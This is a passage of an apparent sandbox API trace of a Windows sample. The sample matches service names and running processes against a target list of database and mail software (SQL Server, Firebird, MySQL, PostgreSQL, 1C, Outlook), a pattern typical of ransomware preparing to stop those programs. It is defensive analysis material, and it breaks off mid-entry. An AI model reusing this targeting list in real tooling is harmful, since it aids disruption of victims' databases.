lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0114.281] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0114.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0114.281] lstrlenW (lpString="DcomLaunch") returned 10 [0114.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0114.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0114.281] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0114.281] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0114.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0114.281] lstrlenW (lpString="Dhcp") returned 4 [0114.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0114.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0114.281] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0114.281] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0114.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0114.281] lstrlenW (lpString="Dnscache") returned 8 [0114.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0114.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0114.281] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0114.281] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0114.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0114.281] lstrlenW (lpString="DPS") returned 3 [0114.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0114.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0114.281] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0114.281] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0114.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0114.281] lstrlenW (lpString="eventlog") returned 8 [0114.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0114.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0114.281] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0114.281] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0114.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0114.281] lstrlenW (lpString="EventSystem") returned 11 [0114.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0114.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0114.282] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0114.282] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0114.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0114.282] lstrlenW (lpString="FontCache") returned 9 [0114.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0114.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0114.282] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0114.282] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0114.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0114.282] lstrlenW (lpString="gpsvc") returned 5 [0114.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0114.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0114.282] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0114.282] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0114.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0114.282] lstrlenW (lpString="iphlpsvc") returned 8 [0114.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0114.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0114.282] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0114.282] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0114.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0114.282] lstrlenW (lpString="LanmanServer") returned 12 [0114.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0114.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0114.282] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0114.282] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0114.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0114.282] lstrlenW (lpString="LanmanWorkstation") returned 17 [0114.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0114.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0114.282] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0114.282] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0114.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0114.282] lstrlenW (lpString="lmhosts") returned 7 [0114.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0114.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0114.282] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0114.282] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0114.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0114.283] lstrlenW (lpString="MMCSS") returned 5 [0114.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0114.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0114.283] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0114.283] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0114.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0114.283] lstrlenW (lpString="MpsSvc") returned 6 [0114.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0114.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0114.283] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0114.283] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0114.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0114.283] lstrlenW (lpString="Netman") returned 6 [0114.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0114.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0114.283] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0114.283] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0114.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0114.283] lstrlenW (lpString="netprofm") returned 8 [0114.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0114.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0114.283] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0114.283] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0114.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0114.283] lstrlenW (lpString="NlaSvc") returned 6 [0114.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0114.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0114.283] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0114.283] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0114.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0114.283] lstrlenW (lpString="nsi") returned 3 [0114.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0114.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0114.283] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0114.283] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0114.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0114.283] lstrlenW (lpString="PcaSvc") returned 6 [0114.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0114.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0114.283] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0114.284] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0114.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0114.284] lstrlenW (lpString="PlugPlay") returned 8 [0114.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0114.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0114.284] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0114.284] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0114.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0114.284] lstrlenW (lpString="Power") returned 5 [0114.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0114.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0114.284] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0114.284] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0114.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0114.284] lstrlenW (lpString="ProfSvc") returned 7 [0114.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0114.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0114.284] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0114.284] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0114.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0114.284] lstrlenW (lpString="RpcEptMapper") returned 12 [0114.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0114.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0114.284] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0114.284] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0114.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0114.284] lstrlenW (lpString="RpcSs") returned 5 [0114.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0114.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0114.284] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0114.284] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0114.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0114.284] lstrlenW (lpString="SamSs") returned 5 [0114.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0114.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0114.284] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0114.284] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0114.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0114.284] lstrlenW (lpString="Schedule") returned 8 [0114.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0114.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0114.285] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0114.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0114.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0114.285] lstrlenW (lpString="SENS") returned 4 [0114.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0114.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0114.285] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0114.285] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0114.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0114.285] lstrlenW (lpString="ShellHWDetection") returned 16 [0114.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0114.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0114.285] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0114.285] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0114.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0114.285] lstrlenW (lpString="Spooler") returned 7 [0114.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0114.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0114.285] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0114.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0114.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0114.285] lstrlenW (lpString="sppsvc") returned 6 [0114.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0114.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0114.285] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0114.285] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0114.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0114.285] lstrlenW (lpString="SysMain") returned 7 [0114.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0114.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0114.285] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0114.285] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0114.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0114.285] lstrlenW (lpString="Themes") returned 6 [0114.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0114.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0114.285] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0114.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0114.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0114.286] lstrlenW (lpString="TrkWks") returned 6 [0114.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0114.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0114.286] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0114.286] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0114.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0114.286] lstrlenW (lpString="UxSms") returned 5 [0114.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0114.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0114.286] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0114.286] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0114.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0114.286] lstrlenW (lpString="W32Time") returned 7 [0114.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0114.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0114.286] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0114.286] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0114.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0114.286] lstrlenW (lpString="WdiServiceHost") returned 14 [0114.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0114.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0114.286] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0114.286] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0114.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0114.286] lstrlenW (lpString="WdiSystemHost") returned 13 [0114.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0114.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0114.286] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0114.286] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0114.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0114.286] lstrlenW (lpString="WinDefend") returned 9 [0114.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0114.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0114.286] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0114.286] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0114.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0114.286] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0114.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0114.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0114.286] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0114.286] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0114.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0114.287] lstrlenW (lpString="Winmgmt") returned 7 [0114.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0114.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0114.287] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0114.287] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0114.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0114.287] lstrlenW (lpString="wscsvc") returned 6 [0114.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0114.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0114.287] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0114.287] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0114.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0114.287] lstrlenW (lpString="wuauserv") returned 8 [0114.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0114.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0114.287] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0114.287] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0114.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0114.287] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16c [0114.289] Process32FirstW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.289] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0114.290] lstrlenW (lpString="System") returned 6 [0114.290] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0114.290] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0114.290] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0114.290] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0114.290] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0114.290] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0114.290] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0114.290] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0114.291] lstrlenW (lpString="smss.exe") returned 8 [0114.291] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0114.291] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0114.291] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.292] lstrlenW (lpString="csrss.exe") returned 9 [0114.292] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0114.292] lstrlenW (lpString="wininit.exe") returned 11 [0114.292] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.293] lstrlenW (lpString="csrss.exe") returned 9 [0114.293] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0114.293] lstrlenW (lpString="winlogon.exe") returned 12 [0114.293] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0114.294] lstrlenW (lpString="services.exe") returned 12 [0114.294] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0114.295] lstrlenW (lpString="lsass.exe") returned 9 [0114.295] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0114.295] lstrlenW (lpString="lsm.exe") returned 7 [0114.295] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.296] lstrlenW (lpString="svchost.exe") returned 11 [0114.296] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.296] lstrlenW (lpString="svchost.exe") returned 11 [0114.296] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.297] lstrlenW (lpString="svchost.exe") returned 11 [0114.297] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.298] lstrlenW (lpString="svchost.exe") returned 11 [0114.298] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.298] lstrlenW (lpString="svchost.exe") returned 11 [0114.298] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0114.299] lstrlenW (lpString="audiodg.exe") returned 11 [0114.299] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: 